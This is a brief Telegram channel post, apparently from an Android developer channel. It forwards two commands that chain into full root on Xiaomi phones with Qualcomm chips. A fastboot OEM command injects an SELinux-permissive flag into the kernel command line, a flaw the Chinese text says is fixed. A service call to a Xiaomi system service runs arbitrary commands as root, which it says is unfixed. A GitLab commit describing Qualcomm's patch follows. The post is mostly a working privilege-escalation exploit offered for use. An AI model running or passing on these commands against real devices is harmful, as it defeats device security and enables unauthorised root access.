fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive… — Real Nullptr

Real Nullptr@nullptr_dev · 18.7K subscribers Open in TelegramOpen

Forwarded from南宫

fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive

service call miui.mqsas.IMQSNative 21 i32 1 s16 "命令" i32 1 s16 "参数列表" s16 '输出路径' i32 600

第一个漏洞可以关闭SELinux强制执行，高通限定，已修复；第二个漏洞以root身份执行任意命令，小米限定，未修复。组合后是完整root权限。

GitLab

QcomModulePkg: Fix propagation of untrusted input into kernel cmdline (fb8e8642) · Commits · CodeLinaro / la / abl / tianocore…

First lets set the size to prevent any double-fetch in the getVariable. Then limit any input to either 1 or 0. Change-Id: I449f74ddefcec665f4e0ea4ed538f892dfb14e21 (cherry picked from commit 92a20dbc895a53618b28cfd4090cb49a32683ad8)